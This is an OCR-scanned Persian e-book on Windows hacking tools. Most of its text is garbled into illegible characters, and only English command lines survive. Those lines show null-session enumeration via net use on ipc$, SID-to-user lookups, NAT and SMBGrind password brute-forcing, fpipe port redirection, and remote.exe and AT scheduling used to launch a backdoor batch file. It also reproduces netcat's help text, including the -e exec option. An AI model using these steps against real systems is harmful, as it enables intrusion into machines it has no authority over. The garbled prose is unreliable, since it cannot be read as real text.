addresses
-n (names) Lists local NetBIOS names.
-r (resolved)  Lists names resolved by broadcast and via WINS
-R (Reload) Purges and reloads the remote cache name table

-S (Sessions) Lists sessions table with the destination IP addresses
-s (sessions) Lists sessions table converting destination IP
addresses to computer NETBIOS names.
-RR (ReleaseRefresh) Sends Name Release packets to WINS and then, starts Refresh

RemoteName Remote host machine name.

IP address Dotted decimal representation of the IP address.

interval  Redisplays selected statistics, pausing interval seconds
between each display. Press Ctrl+C to stop redisplaying
statistics.

: Getmac J 3%
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a3 528 (9w MAC Sl ) 3l cal 2 S saldiisl ) e e Olayd 31 ) siae 308 02383 L gy ) a8l i) e M) s Caga
201 zUis ) Null Session Juai) 40 aill g aane ginlailean ),y L s

: ARP _siwn

SUB )Mﬁj)JMuO\IPUAJJ]Q\)@)@\Mdﬁ)ﬁ)ﬁmguOgﬁ\a(MAC)éﬂj:\éw)J]w&g\)gu)éog\
ASae JBEN(NET
610 YU siad Cpl 11 35S Jaa | O 800 Gy 5 3Kt (B a1 358 TP aal b s e el ol ol a8l ) S e

Sewr

;QJﬁwﬁﬂduMUﬁqu}aié‘gdonw

% () 4S 2 sdae oaldiul Fpipe s Datapipe 4t n 53 3 ) shaie Gl (61 0 .2 gdine alad) jlass Cud o 50l 48l aS 2B 50 3 IS )
) 4 ol (32 4 Bas (s 5 il sy (sl oasd D)L 25 ATl S i ool A (5 Il (Sdned ), e 5l (e s
Sl 368 Yeabg ) ) dxdy ) i GBYIA paSaijla Jed la

1 e o (e 2l U g Aaliyy Causd o 48 53 4l e Jad Vo L ia i) ol U (Datapipe) Ul ol 48 Sa a3 ol

: Fpipe J
I e aladl g g s pme ol 53 53 23 58 (s Client Gpdle mse 53 51 IS

;WE&L&A\Jﬁ‘}M(&M\Help@yQ&h)_h@}uQMUﬁL’g\g\);\ Bl
C :\> fpipe.exe —h

-?/-h -show this help test.

-C - maximum allowed simultaneous TCP connection. Defaults is 32
-1 - listening interface IP Address.

-1 - remote port number

-S - outbound source port number.

-u - UDP mode.

-V - Verbose mode.

UDP s &5y 510 —u gusms ¢ e Gl |y SIS i p5 i Sa v e W el 40y Jie e 2l (5510 la 4 8 i
il 4350 T Gl Ll 4 U e 583 0 s 28l ) RS (ol s g 5 4l 48  siine 02l
I Aﬁa@ﬁﬁ\d@gb&é\sejﬁjl;d&@
11 A€ Jla G ani€ Jiiie 30 Av 04y ot b IS (b )bl 40l AS A v s 555 O 1 s Sl sl sie L e o sa
D sie ) shaie () ) 0
C :\> fpipe -1 9080 —r 80 www.google.com
Pipe connected:
In: 127.0.0.1 : 1917 - 127.0.0.1 : 9080
Out : 192.168.0.148 :1972 >  216.239.33.101 : 80

MUJ;Q,}\3.4354;_53&,1)5‘&yﬂwuﬁ&\}#ﬁ‘)uéoig\ﬁ\JCtrH—C35\3545‘54&.& \JA;)ALSLQJL@S\&J\;MUJ;@\
MJ&Aui:\Lu).u\)du\)h&JAUJ}JaJmM}mJ\mIPw)J‘}c}k
A...\.\S“Aﬂ‘)gjdua‘uA\AJ\)&M\A}JU:\A\JJ\J&AJ}.}WJ\M&J\J}DMU\SA\u\}ﬁGA—S@}uJ\aJM\L\

C:\> fpipe -1 139 —r 139 s 88 192.168.97.154
Cul aigh cp) 53 ISl e aila S (B 63 4g e Jlasa | NetBIOS Sl i 48 ol 4l a3 (e 4S au€ 88 Jlia ol 4s J o) o0 L il
R G dgdine IS Gal Dl L gie 5k (A eled sy ) aals aaie sy S ) (Bsd pase i 30l 8 )3 SMB Sl i 4 4S
FRK ‘}\A.'\S‘)L.u:Ajg\)é&\d\ﬁﬁsgjﬁ@lﬁ&uQ)}.:a_A.'\\oaﬁdm‘)&#w&\jﬁjﬁgd\sA‘)Saamu\sﬁﬁ‘du)\ﬁﬁ‘):ﬂu‘_g‘}\.u
AN
12,80 2k g i ae S JUe Sy
sl e gy abiy O L L) (518 e Fpipe J) ¢ 28l Ve Gns 3 NC )l Remote Glidse 1 Jlis o) sie 4
:H..'\S\T.\AJ‘)\J\Jﬁj)}hdd&d}'&ﬁ\ﬂ\))d}ﬁi&zmadmu\
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C :\>> Fpipe.exe —1 23 —s 25 —r 1000 XXX.XXX.XXX.XXX

¢ Ulule LG sl YY Q)};}L)LL)SJ\ 8y Ciea Telnet 4w o0 280 Al YY G 9 Ghlyl sl nly Fpipe _siwa o

DM ) 28 2l YO Tase gy 31 AS 2 ) & (XXX XXX.XXX.XXX TP L Remote Glse 03 Voe e &G sr sl o Sl 5
" e:mm s el ) JINC )l saldial 4g

T s (5] 0 da (sla ) 3l ¢ A o jladd Aasania
;A.AABA

Jals aill 5 xtias Gald IS CSG sl ST AR als Mo (IS 4S s Gsa el aSe ee s o) 4S )l o
M A Hsabyg

: Null Connection -

Candt Gl U sl ol i 1y Jalii ) Caud 53 534S (Jlage 4S 21 Ke i sualS 3 oy Ll ) el g g Ay ash G ) il Sa ol s
- lay (Al Galadls
o Ul SIE L L)) sl 8 Cga NET USE st ) ¢ asdaa ) 8 0 s 4alS 5 5 )8 6l (552 Y gane Ll )) ¢ 55 0
4 S Jlastl gl 50 Camd s s K ¢ oS o 0 el () sisa g o) Sl Ly 250n o2l NT 525 assas 52 [PCS
LRI G e s b
Pl ) Qe dy sl (ases (K

C :\> net use \\ server name \ipc$ (( )) User (( ))/

: Dump SEC J\J -Y

6})\)0‘0\%_)J\JNuHMMCgﬁ;\_M\L@io\ﬁjsjuoMJw;yaJQJdeu\éﬁﬂbM\Qﬁbﬁ)d‘)\_}g\w\
caSealia )l il s 53 S T al ladl o amy 5l 8 Sl 8 Gl
S plaial |y Gl Waia 210 (o) Cod (Sl 8 Glaji a4y 1 5l e o (ol JS g sane 0

: User 2 SID s SID 2 User )\ -Y

O b adl sad et ) Ll Registry U2 Restrict Anonymous 48 28 g0 52 23 S (Ajae a3 YL ol et Sy
S ealdind Cua 35 80 v bl 30 aS 536 STD Garegd sl )l 93 b ) e @815 ) Sl K i e )l sa YU sl ) )
st 5 3S Al 02183 g e 510 Null &b cawds User 2 SID oSS 4 ) shaie 40 2 Null Cads <SG 43 i ad il o)
SID iy i 5.3 S s lalal ) STD 4mlid cpuai (5o 1) Clasa 43alid o5 8 Sy 5 o o208 gy A | User 2 SID
sailh K b)) Caas &

C :\> user 2 sid \\ server-name “ domain user “
¢ 2l SLER) 51 e o g 8 (RED) (oo 4nlid 5 o8 STD 48 05381 il 8e 5k o2idd Gy g 51 1) STD alias g () g
D) Cosa 4 s il b (e Glea 43 O e ) A4S g aalsd IS IDS G Gea SID 2 User sl ol ) 40 )38
<l

C :\> SID 2 User \\ server-name \ machine-sid admin-RID
: Net BIOS Auditing Tool JwsS sl b b 9 NAT LI -¥

Gisa 5l IS 43l 4S Sl Brute Force e s b 0 S O (Gused b 5 508 Sa ) » ose SllS Gl )l 3l ol
1l i T IS (g ol ot 55 35S 50 )) Bae la

D) s 4y Ol b IS IS 2 plie (88 e ey 23S g (e ) D5 20 40 e 4l 5 5 )8 6l SO U i LISl )l
-+ Cal

C :\> nat —O out put.txt —u user list.txt —p passlist.txt XXX.XXX.XXX.XXX

: SMB Grind ' -0
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sl ad () L IS ol 5 g e hid a8 il b YL L ) (38 (g 2 ol 5 S lea Sl g il (sYL Jie 8ds aa ) ) o)
sl ) O sadrdal p cpl 5 e sasee JSE e

C :\> smbgrind —i IP address —r Net BOIS -v
pSae IR 51 o a5 (2 64 4y 4S Cad g s (30203 S 511
: Somarsoft DumpReg U\ -7

L 2l 48 2l NULL dusil 40 zliial )5l 0ol 25500 ) 8 )93 o)) 02383 sy O 1 registry e Slal (bl olSal ) 3l o
LGl (Sl S )l aS ab aySa ) () S Al NET USE st

: Fport )13 -V

S sl cpile Gol s o oal dla 53 gl sl L1 (S8 alle UDP 5 TCP sl &y 5 e 2 g adagl ) Cassl 508 1 5 o)
AJJJQ&.‘MS@LAMUJ;J'\Q&&\)Jqﬁyuggﬁaquiu\‘uuﬁ&\J\gJ\awpa@PjQu}quﬁ\dg@@\mﬁ
: Loggedon L)) -A

S 9 g e AS 2SS ab b 255l s iy Coaa adle 4 (ol o) j An ) Al 5SS As antin 4S Gl Gl ) e D)) o)
e Ginled |y Gledsa JUal g date Giulad Jadd |y 3638 Jlail sl gy aidl o )y SIS 1l ol adall 5 ol e la yd

: NT Last Ll -2

Iy At Jaaie Y1 5 G350 daalle aa Cpuiile 40 Ji8 4S Jlall sledigy 5 Al S aS Coglai ol Liagla ) YU ) S s )l ol
Mo glls

: NT Resource Kit s )3 2z ¢ ol dasaia
sy Ol gl (510 )5 e IS 20 40 48 o380 (e | (ol i e 5 a0 (535 (sl )l sy (il 4S w50 S sl L et ()
JalS () sal 43 Cansl (8 yne Jadh (o Jonsd aiSCie 28U o 5l 50 111 25e g 1) (O Apmas IS i il g JSle s 4 (5 me S o

o aladl (Ui daa i b (a2l ) S 4

: Dump Event Log JeS sl L s DUMPEL /% -)

Gl s Ola) s gan 1 Gl Gilons LAl 2500 5 asd (51 5o g 0l AS o) sel (sla (3L eaaLiia (s Ll 3l
11 clad i slaly 35 (S Sy (61 ol s S 3 3 plhsad i ge ol s

: NLTEST U\ -Y

D8 i) 0 )5e W o2t S ol Sl sl D) cnl 11 a8 e 1 4kl sl JLES () i ASd 0 Ay (el o808
112,80

1215 6 S s 6l 5 sae 4alS (il 4y (5 5l g 43l 5250 JL VTR G sdn Dl Hlo co) ) ealdind 61 e

: EDUMP L\ -Y

s 6l Al TP b (Sl sl s JU) cileas alas ) Cand Coaa s ) ilal e Sl 0 55l Cansy )y )l )

: USRSTAT -¥
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) 2 s saii€ JS CRES (5l 0 e abpE Cha aiely sai€ JHES 1 S caldas gl 3 K Sl 4S8l () adli
200 35 NULL Juai) Sqan 3l il Gl i€ ool K30 48Me 3550 )30 ja L s NLTEST

: Local Administrators ) -0
M aiSoe IS ab 3ol ) 5 o (o T aill anl e jsae b S b Gl (a6l )l 4l o)
: Global )\ -7

4 aill 5yl 30 NULL Juadl S04 jl ) gl Gl 28 saldiu) (andld (6] p adala J €0 ) Jadd o canl L8 Jia s ) ) o
el Jb b IV G s

: Srvcheck U1 -V
4l e CadS )y aileda sla S)id e Ml 5 a9y S 4 SIS ) sae Gle Dl g s2180 gy CaSS )y )l ol
S0 S B A NULL Jusatl o

: SRVINFO L\ -A

QLAJ';&::JS).S)%)JQL:M\Q:\\ A)ﬂiﬂ.«)\}bd\jh\d)ﬁd&oMJw}yﬁ)}AJJMQEM\OJ)AJ)QJJL.'\A@)\}\CH\
AR NULL Juai) Sgan i la 18 e aa 5l )30 o) il b S) 81 5 51580 a5 4ds ¢« by saily L

: AUDITPOL .\ -2

el 4 3L 2 IS G il siae 81 5oy g S 4 NT aoses Jlad e b Jlad la Clas 5 5500l ) (o S D)l 0
RAiSe (adidie 3001 e (550 2 g @)l BB Gl st a8l adlne 50 e

: SOMARSOFT DUMPREG )3 -V ¢

ID <o b 4idl 5 2 NULL duail S 40 zlial )l cn) 2350e aal 8 L ) 0 1) Registry liae 4 (o yiws g8l 5l o)

e
: REGDMP _IJ -))

4 ke Al 52l (B e ) G 4 5L Y gene 35500 S 430213 (g ) Registry <leStal (5l 4dis Gl ) o
. null Ju=il

: Remote )3 -\ Y
LS ol 5 e 4alS by Dl ) 68 S 4 ) Gl 2 58e )8 ealiial 3 50 a3l Jad (s s € (sl i3
55 8 b 5 a8l eads AT i o Scheduler wwsyw S ) remote.exe 5 SC.exe (piped 8L Cusd jle Hsaa
Pl ) psied sala (A5 S Q) aniSe (500 43 (i ) | ( Backdoor. Bat)
Remote /S (cmd) pipname

OV Y sama 48 s oy (55 Sl A5 K Gl al ) slaie 4y (a2 (5 )18 AU 2l ge ¢ ) 35 4S Wb 8 4015 355 Pipe
D38 )AL Jalii ) 02383 g e b ) s Al gr () siae 3 s | ga) (A 5 S Jild 4SalBia aiSs a2l Scheduler

C:\> Remote /C Servername pipename

: SC 3 )Y

5 e (o i 2l )l o) R S 4 gl 1] 2 0e SIS 4 s wdian )3 Schedule os s e 55 5 el DsBie 4s )
58 B G et ¢ 25 m S 4 Jeline ai ) ) a) sk 40 Schedule Service .<adila JLad) ja s )8 NetBIOS
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aluts 3 Scheduler G sw Jel ) 2,80 &) sa NC L Remote Jaw 5548 Cul iy 0 03588 (5150 03135 S s 5la 4S
S o)y gl Sl a6l )
C \> SC \\ Server Start Schedule
D e aldiul yy ) siws AL Scheduler G b 5 3,12 Gl 4S Schedule g 25 ) ghaia 4 (pinea
C :\> SC \\ Server query Schedule
5L ks Schedule 2 (Saales alayl g Nt time b AT D) saliind 43 2ld ) siwd (ol ) 68 IS 45 2K

AT ) Y

031 48 3580 )8 e yiad 3 p8aa 5 3 S saldiul Schedule Service Al s 553 o)y 31 (530 4abip Ciga Ol siza 1 )3
b 5 <l sad el lae 3 Schedule Service 48 28 <l Al gl 28 Cu g 2 4 1) Remote (o i 5 35 1al
rS ol ) st 3l ey 3 S iK1 e ey Qg 8 8 SIS 4 YL SC stusd b 1) Qg e

C \> at \\ Server time “Command”
ol s s\s 4S Backdoor.Bat Jité Sia aaly i 58 (8 )l 50l 50 4S i 1) 258 05l e Command sls 4 20 sie Led
) oad alag) (Ao liia da aS () ) Gl Caga 08 dlagl s adle )0 ) Ay )2 U adlne NC b Remote 42 Gidha iy Cga )
3 gdia odlial ) gt )

C :\>at \\ Server

: KILL ) -Vo

sl s Ol s U 2,80 )8 ealiisl 3 ) 5 2l 8 S (0 S a5 () 5 134l
D :\> kill <pid>
S salai es\q JalS T 5 L WL 0 4S Pslist Gled ) il gi o p1d X S 5l

11 35809 3 S gl Cia (sla 4l s e Ja ¢ pady dagess
Sl ol sla Package plad b Cygwin ) ool Lad 49 (3a XS ga Ay 6

ol S o) 5 53 ) Sl aladl (ol SIS aiten WET U () L 38 (i g S04l 4S 3l a5 (o sk sla Ja ol ISl (o) casa
D3 0300 5 ke dale alun SO g e andiasd ol 5 ¢ Jsahs (503 )l dale dlls S caai Jsl ol ) ¢ 2 5de

g 4 Jah 4l () Sl e o 1) 1) (el wige o dah ) Ay Kk B (g jihe o S Al 5 i 830k asd da ol
Gl ) a8 S uat aa ial dale alis (50 1) ke dale alunn SO b Tl s Lad J ) da ol ) a5 o2t Cygwin 4ebi
s Microsoft virtual pc s VM WARE <8 5_2e 4l 53 (e Caad b 51 4S 0 jla daa g (4alip & ) Ui ) (sa0mte (sla 44l IS

() D gliia Q53 L Al 3 SG AT 4Wli g 52) a3ae B aa | Connectix Virtual pe

4.\.:]\}C'_ma\us;aa\:d\é}suﬁ()\m\&_\u;;.a)gdgu\.i_e\ﬁ\);u]u}mémjjemu]&ubﬁ)eb%@;ay\JCnglan}d}\
Al Gy Cuad 3 as o 4sli sl 0S5l aa 80

: Cygwin (A3 (3 sbla 4ali

Shhads gl salis LA ol (68 Al Gl 4381 x5 S oS g ad 4l 6 5 J8 aS 5 0Me V3V Jlu ay K il siae 4als
sl 3l 5l ealdial (b gy 4el y cpl 3 saldiul L (’j A8 oaldtul DL Hlatial aa by Dynamic Linked Library J ydia (a_}:\&&a Sa
G e 4 8aua e | Xl 48 55 S g3l sl 50 Ja 4S5 Cheops s strings s strace s mdSsum s Nessus O syt 55

(B Ban O Al 5 JSia (5 w8 2l ) Al (e

11 28 2 DSL ba o4 S8 4 Laia 1€ cuad o g Jgara JlgH a0 ) aeli p
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LS VY Jilas 48 o ) Sl JBlas by ) () il lilSal alal o gDl 4l s ol ) JalS s <SG 03 S g (e 4pa s

1 O el aSe 4 58 (10 4S 43 35S oliind Berkeley " (IS " oBily b ) il e shaie cpl (5 s 48 230 45300 aas
Sl pliaa f:j\} 4l (:\ 232 J\Jﬁ BB

http://ptolemy.eecs.berkeley.edu/ptolemyll/ptll4.0/cyewinDevelSrc.exe

D )2 (S ana a8 3 la aa s ab 5 K0 (sl 4k 4l

http://ptolemy.eecs.berkeley.edu/ptolemyll/ptll4.0/cygwinBasic.exe

TEURIPTCNFLOW I PFECQR
http://ptolemy.eecs.berkeley.edu/ptolemyll/ptll4.0/cyewinDevel.exe

YEURIPICIFL % o 38 JUIVE FEOQR
http://ptolemy.eecs.berkeley.edu/ptolemyll/ptll4.0/cyewinBasic.exe

YEURIPIC FL O RIS [FPOQE
http://ptolemy.eecs.berkeley.edu/ptolemyll/ptll4.0/cyewinDevel.exe

Q:ab\gu Y0,F cn @ianaly
a3 alail i yiaa 1) ) dal e e la gl ) alaS a Gl )3 ) ey

(A.JLEAYDJISJPU:AJPY}AM)A;L\S\);\Mﬁd;b)\ \)MMUJ%}@J)SGJBOJJ.CE@\AJ\ \JO]'\

(U Ui ) sea 40 3380 QA a8 | (ol (353 Y saxa) 03 S QA ) [nstall from local directory 4 X 2z -

(sl o 4y S A g 5 s ady s ) 5280 I8 Ll jaadli 48 i€ il s ) Root Directory a2 -¥
‘JJuStME@"‘}ggJMw‘P 22 S A \JA]]Useré\.'z:\)'gJ.'\.'\Sadﬁ".w\é\.atvﬁ‘}\LAJMLAQ\),\JISJ&J&\MJS\ _¥
i€ i)

(ol Unix 4xa i 2 )00 aa by B 51) 238 adida ) (e slelld ad 55 QI8 Unix 5 DOS 4 8 -0

o ) Gl Sl and ) )0 cual sla 44 Jlea 4S Package s J8 3 5a 5 Jse a2 Local Package directory 4u XS -7
0 ual ) 4al ) () Ae sane 2l 22 S a5l AS s A.AU),\}LQJ;:\EALW@A;}SQMSe]ectPackagesw)J_V
S sdine )i Ladi 5 0 W 4ali s Sl alaS ja Gl Sl View 4 R 555 008 S LaS 3 jla sl

Start s sie s 4niia 55 53 3 Ohe 028 Cas 3 5 Lad Jlaa IS AT j2 5 2ie 3 A i dg g5 i 4eli s Next 483 2 b -A
S J) g Laid )

IO A Haby 50 2l (28l s (Shell ) S st Glad ad (S0 SalS Ladi 5 3800 YIS 4r g 55 4l o e 5 IS L -4

<l 0 Cygwin.com <ubs ) LS YOV ana 1 ol 4sli 353 2l gl ol LS 53 2300 dpeasi (0 4S () ¢l ) 8
43 X U Install from local directory 4u S sla 43 asd 4la 3o 33 4S ¢ (e dpasi (So o) 40 Wis (s S al 1 o 5808
4 2y 2 3511 J5) ) W Package Led IS () L 4S a0S oaliinl Download Without Install v X ) Install from internet
B s A ) B 03,50 (5108 LRI aiSai daa g Shal (he 4S b ad () 3 44 A Caal | Al g a3l s i YU 4S 0 5ud
2 4l QLA aladl 5 e IS 4l daaie Cuwd )l ea )S Dl 2 aS ) (e 4l dad Lad g Gl Jgl ) S e jliga g gl Sl

Ll Yo gud Jia o alila

c.i'd;\JWBMUJ;QA&JSMJ:,\_,J&EJJUJMUJQJJ&E\).;\J,)M)i.])i%)&\JMMUJ;A:\}UEGAMASH}Q\JL}!\
A Cada | daa b S

5 st sl 4aliys Aas sla) o 5lal 4S ane Lo 4 sl e i lad (K6 48 o a1 e (s il ISaLE Gl i o i sd
Pl A s lean ) 1l (Sl R s (S il
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amirfamir—spd ©
% cmd

zoft Windows XP [Uersion 5.1.26061

Copyright 1985-2801 HMicroseft Corp.

CzseyguwinShomesamirexit

:h: ped: command not found

sla ) sied ol 5 S sl (sla ) siuad plai o5 () T A€ IS An da)pdae cpl L 2l ey (e 4o ailue BasA 1) IS 4f i
x2S a5l 1 O sl Xy 5 48 K0 i S 53 X-Windows dame haile 4S ol 43 Al e YU can 5 G Gl po b iy
AL G Oped aIS SKE G Ciga 1) glejd k5 Gl e Jie 4S (el (sl 2ty 43dls (S sl S5 Gl 5 1 208 cual 65 ol ol
o iyl a il gl y Alal J s
: VM WARE g e 4l b 2a

Ay ) ol VL a5 S0 i 0 e Cita Gl )2 963 OIS ab 4g G (1] sl zraa 68 O ) b e o ) ol (g 4l 0
'm\jygd‘)}jd\_ﬂ,\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ g_iﬂg“_\ss,j}ﬁeaMlcrosoftVlrtualpC‘)\m\

Mg cual ) dag Lad 4g 4l g cpl 280 oaal s o Wl ass (gle) 0l 02 ) Vs i S8 a8 28k Al 0 4dis O 4ds o JAl
OSan 48 Ud A Jale i g0 Ladi | (W 433 9699,3999) S gl g (e 4diis alad) ooy sl Jale alinn cual o )l
e Ladi 4y ¢ 2l Hsan s by (S sid Gl

O B B (a8 S 2 e ATALLE 4508 50 SBia (pile S () ie 4 a8l o Gl 5 i0e Gl O gea (yl 40 4S e as
4y R 5l il Jg) lls ¢ e Led 4r IS Gyl (5l lla d DS Gl 2 (liasA GBs (il b sl adle (28 450l )
Ay e pa a0l sla IS 4y 5 23300 a5 )l (bl 5 Lad 5l (3l 48l & )IS S 4S @) Use Bridged Networking
Use 4 5 sdliid 111 ol jig b (il L sl 48 ago clla | Gl TP oS o 40 Lad ol clla ol o 43l il J gane
025 Joa s 45l 4 s 4dly) ) Javgi Gy p aBse Gl ) Gl i Sae NAT Jbaisl 43 4S Network Address Translation
05> she DIC oo Led 5 dlase olSU (%30 3 (i ) @lse S 50 48 2,80 LS ISP ) IP (e dl S 288e a5 3l 41
Ol 4 e aladl 1) g e S A8 Lo 8 Sl il ) o0k ()3 3 580 Le 30 4y Gy p g Dlla sl (o G Led SIS (0
Jsh 230 Wil il ) oy dbea G 0w (sl el 5350 81 De 5 3 gdae (adile (l ds sene ) s ilae sl Al 4ss 4S &y
(L HS 0699 Jia s ) (5l (pile (T 4 28 220 35800 (L2 A TSP ) 1) dsdia o Lad 4l

LLA\AJJQ)::J)S}A)JM\JQ‘&.\:\SJLJ}\\Jdpejwmb&_\u\RAMM@}Q&L\M\?@AM\J}w\cJDJJﬁLgﬁJ&
ot saliin) aud Q) ¢ S s anS saldind Ll 3 e ad sl 4n 2 lo Jand 4S (5 jlawe sl (e ¢ dlas G (6 slse Gy a4y |
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C:\amir>nc -h

[vI.I0NT]

connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound:  nc -1 -p port [options] [hostname] [port]

options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway  source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-1 secs delay interval for lines sent, ports scanned
-1 listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-V verbose [use twice to be more verbose]
-W secs timeout for connects and final net reads
-z zero-1/0 mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]
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Cany 3y 5e 4iy S Orimad 280 4ald) 253 Cullad 4 ( Mode Listening ) S5 40 Gi S b sael cilla 53
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! (S g zlial TP ols s
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. DNS 5 s DHCP s
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D Ol 4 4o s e 40 085 A Vs Wb ipeonfig /all

HostName . ...........: My Computer Name Here
Primary Dns Suffix . ......:

Node Type . ...........:Unknown

IP Routing Enabled. . ......: No

WINS Proxy Enabled. . . .. ... : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : xxxx.xx.x

Description . .. ........: NETGEAR FA310TX Fast Ethernet Adapter (NGRPCI)
Physical Address. . .......: XX-XX-XX-XX-XX-XX

Dhep Enabled. .. ........:Yes

Autoconfiguration Enabled . . . . : Yes

IP Address. . ..........:24.XXX.XXX.XX

Subnet Mask .. .........:255.255.240.0

Default Gateway . . . ......:24.XXX.XXX.X

DHCP Server...........:24.XX.XXX.XX

DNS Servers . ..........:24.XX.XXX.XXX

24 XX XXX.XX

24 XX . XXX.XXX

Lease Obtained. . . ... ....: Monday, January 20, 2003 4:44:08 PM
Lease Expires . . ... .....: Tuesday, January 21, 2003 3:43:16 AM
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cAES 5 gl a4 ¥ el a8 e Ml 4y 4a 53 L 1 Use the following DNS server addresses s Use the following IP address slgiond ol 5L 4S (suaa
! aﬁy%)sam«glaié.w&iqﬁﬁjaﬁj)alﬁgﬂ‘ﬁb.oﬁw\}\)DNs Server s s Crand 3 g (B [P) w3 S QA4S o) ) [P ¢ Jg) Caand

Ot bad 5365 (ad Jlae) il jpa 4S (s Giadae A5G (51, 2e IS (o la 2aa TP L AS (5% cde sl Culas asndin 481, 238 0l 5 1) Sl 4y Gl e siasa S50
23,8 Jae o 3 4S G g3 e 5 BaDNS SIP «siws o) s1a) 3) s 481 ip config /all oS cuSDOS




(c) ketabton.com: The Digital Library

i

L pog Jau g5 abo g2, 0 W Vo3I p,5 08 ma 9 S (25 ga

: REG.exe 44l (2 ¢ dagada (p AT A3) 5 a1 dazaia

D)) (g e )l ) o ytean ) ) oaldiul (il Ladi g agane j jlS (S0 Dt Sy G (oo ol 4 Lo a8l ge (LA LS sa
el &l Led s 3 sdie JSdia (La adl IS 5 o (o Jid 53 3 (5 sbn ) (S8l 8 8 Gl s @l e iy 5o 3l 15 Sl
A;&Mdawumehu Jgﬁ\gd\iﬂ\dreg.exe BN T

Sy ¢l 0 al0a S 8 j2e a8 UKV F ja ) () JelS Clasia 6 il glaa alai | O (21 s 6 dual Cul db O b IS

: daaliial

il Al Cule pan 48 ALK e ) Cuial sla Gl al810 Gl il 03 S i AS Gay ) o) ead atud Gl S s
LB ) W e s pald ayl pd 2 Jash (S () slaie AR 5 a8 (e sl 1 118 Oy A 5 e (ped 3 (ol 52,50

Laid) (S 4S (g sdie sl S i Ledh o g il ) Lt () sal Gl g Lei 4y | ales Sl i ) gal adlia () 53 23 S a0
Can S A b Led 4L i ¢ e oy Casnd e o Al 43 4S 33 e s sl cpadile Jlio a5 caul aly |y i (S
4 5 e Gl gl s IS ey 258 Caon 40 U 0 () 4g ales 4 p 50 200 400 ab B pea aa Ladi ol Al 4l 5 pala
4 dlaie )l canly QLA lha ol 35S 5l ¢ Gur e 230 4300 4liaga Al a3 10 ) 3e %58+ 53 i sl cileSUal sl
LS U aia 4850 ¢ (a8l sa ) %V e S Gl ) e s S ) o) 8 S ol A e Jla 43 B Gl g (e) S dadlhae 5 250 4331 (s

o)) ol 3 sa S Lok 4y Lk 2 5 2 o 1) F B-BOOK 1 als a8 o80sa e 0l

(23 4pa i) | 2S law 2wl gy j5 S Gl )l 23S S8 4S Hacking Exposed s -)

Rk JilE 5 8 Gl ) a4 o 48 Hacking Linux Exposed <L -Y

, I3 ol 48 Security-Warrior <US ¥
i Stﬁﬁ"h}r

Warrior

(238 aa i) | Gl O ) allia ol AlUas 9 ¥0 ) (i 48 Anti-Hacker toll kit <US -f

(A5 4pa 5i) | Gl 54 4S Computer Crime Incident Response: Investigating <GS -0

Adlue a2 se 3 ol )l e 5 paia S Hack Counter <US -7

.20 &= @ el )3 4S Kevin Mitnick Art Of Deception <US -V

Qg Sle 548 Security+ QUS -A

(M 0 )80 @y ). Google Hack <US -4

M AYL As 50 SO ali b Gl (YL Jie a4 ¢l 4S Hack Proofing Your Network <Us - »

Su 2 a8 Microsoft Windows XP registry guide <UsS -

EETAR

(Sl 4S Canl Gy 5 5 a3 4allas 50 a8 Microsoft Computer Dictionary O sie b <la g 3Sale caad K )i QS (jiils **

Microsoft

Computer

(0]

skeskosk
D 5 i 4S (5 IS a0 al) ¢ das (5] i ge daal 4n ¢ Ol Lad () 2dl 5 ke Allie () e ) sal sy Alle (UL 4
L i 4S akide




(c) ketabton.com: The Digital Library

;i

M e LS&I " ‘)La:mm ?\.1 Li t:i
M SA A MR S e I S

el

. Zx0003 (i 53 (alai L g




Get more e-books from www.ketabton.com
Ketabton.com: The Digital Library



